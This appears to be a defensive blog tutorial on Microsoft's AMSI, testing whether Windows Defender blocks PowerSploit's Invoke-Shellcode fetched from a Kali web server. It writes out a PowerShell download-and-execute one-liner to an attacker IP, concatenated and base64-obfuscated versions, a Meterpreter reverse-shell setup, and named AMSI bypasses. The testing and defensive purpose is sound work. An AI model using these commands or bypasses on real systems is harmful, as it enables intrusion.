Hackers are increasing the malware attacks executed in memory. One of the main execution methodologies for in memory attacks is to execute a script directly without ever writing to disk. Traditional anti-virus works by comparing signatures to files on disk. But what do we do when the executing code never touches the disk?
Or worse, we have a traditional anti-virus software that will scan executed commands against a signature pattern, but the level of obfuscation by the attacker is too complicated to detect and generates a number of false positives. To solve this problem, Microsoft created the Anti-Malware Script Interface (AMSI).
AMSI is an open interface designed by Microsoft to be called to by other vendor’s software. This allows any application to reach deep in to the Microsoft Operating System core and process content submitted to a scripting engine. This is extremely effective as any obfuscated code must be decoded before the scripting engine can process it.
AMSI is effective because it conducts memory and stream scanning of scripts. This is possible as AMSI detects de-obfuscated code as it is presented to the script host. This means that the method of script execution is immaterial. Scripts may be run via disk, manual input, or interactive engine.
The method of input does not affect whether the script is detected. This is even true when submitting scripts directly to the underlying windows dynamic link library.
For example, a malicious actor might send a PowerShell script directly through the System.Automation.dll rather than powershell.exe to attempt to avoid detection. This attack method will be still detected by AMSI.
To test AMSI, we will show how the PowerSploit command “Invoke-Shellcode” is detected and blocked by the integration of AMSI in to Windows Defender.
In this case, we will utilize Kali Linux running PowerSploit. PowerSploit is a collection of PowerShell modules, written by Matt Graeber, that are used to control and manipulate a target system. We will attempt to catch these attacks using AMSI. We will also confirm that AMSI still detects the code once obfuscated.
Setting up Kali Linux
The first step in the testing process is setting up the PowerSploit webserver. The PowerSploit module is embedded in the Kali Linux distribution by default. If you do not have a Kali Linux distribution, you can obtain one at the following link: https://www.kali.org/.
In Kali Linux, go to the directory /usr/share/powersploit. In this directory, you will see a sub-directory called CodeExecution. From within this directory, we will run the Invoke-Shellcode command from a web server.
First, copy the entire powersploit directory to /var/www/html. Browse to /usr/share/ and run the following command.
cp –r powersploit /var/www/html
Next, setup your webserver by running the following command.
python –m SimpleHttpServer
Finally, use msfconsole to set up a listener for your shell. The shell executed by the PowerSploit Invoke-Shellcode command is a windows/meterpreter/reverse_tcp shell. The process of setting up a listener is detailed in the figure below.
Executing the Test
Next, go to the Windows 10 machine to confirm that the webserver is accessible. Open a browser to your Kali Linux Webserver. Browse to the following link. You should see a list Powersploit directories in the browser as shown below.
To simulate an attack, we will run the invoke-shellcode command by downloading it directly from the web server. This will execute the attack in memory to demonstrate memory and stream scanning of scripts. Open powershell.exe as an administrator and run the following command.
IEX(New-Object Net.Webclient).DownloadString(http://<kali ip>/CodeExecution/Invoke-Shellcode.ps1)
When executed, you should see an error message indicating that AMSI has blocked the execution of the code.
We can see evidence that Windows Defender has blocked this attack by looking in the Windows Defender log, Microsoft – Windows – Windows Defender/Operational.
Obfuscating the Attack
We have seen the Windows Defender and AMSI stop a possible Trojan. Now, let’s move on to the true beauty of AMSI, the ability to stop obfuscation. There are several ways to obscure a PowerShell string.
In this article, we will investigate two avenues of obfuscation, concatenation and base64 encoding. Because AMSI resides at the scripting engine, just before the code is executed, all obscured malware should be monitored as plain text execution by the AMSI engine. Therefore, all obscured attack vectors will also be stopped.
First, we will try obscuring our command via concatenation. We will break our attack string up in to three separate commands.
$x = “IEX(New-Object Net.Webclient).”
$y = “DownloadString(‘http://192.168.31.136/CodeExecution/In”
$z = “voke-Shellcode.ps1′)”
When we execute these three lines together, we are still blocked by AMSI.
Next, let’s try encoding our command in base64. To convert our string, we will use a conversion command as shown below.
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX(New-Object Net.Webclient).DownloadString('http://192.168.31.136/CodeExecution/Invoke-Shellcode.ps1')"))
When we run the encoded command, it is still blocked by the AV as shown below.
Like any security measure, AMSI is not a panacea and there are ways to bypass it. For example, AMSI integration is missing from PowerShell version 1. If PowerShell version 2 is executed on the system, then the respective script will not be scanned. Additionally, AMSI is a signature based technology.
As such, it is possible to bypass a particular signature by slightly modifying a particular command. Finally, the Set-MpPreference command can be utilized to disable AMSI. As with any defensive strategy, it is important to be aware of the limitations of the defensive technique and have defense in depth strategies to bolster the overall security posture.
Additional techniques such as script block logging and constrained language mode are some examples a defense in depth tool that might be added to your security posture.
Microsoft’s technique of embedding AMSI into the operating system addresses a security gap that has long been exploited by script-based languages.
It provides a good way for application developers and developers of anti-virus solutions to proactively prevent script-based malicious code in Windows. Along with other defense in depth tools, AMSI provides yet another way to stop the hacker in his or her tracks.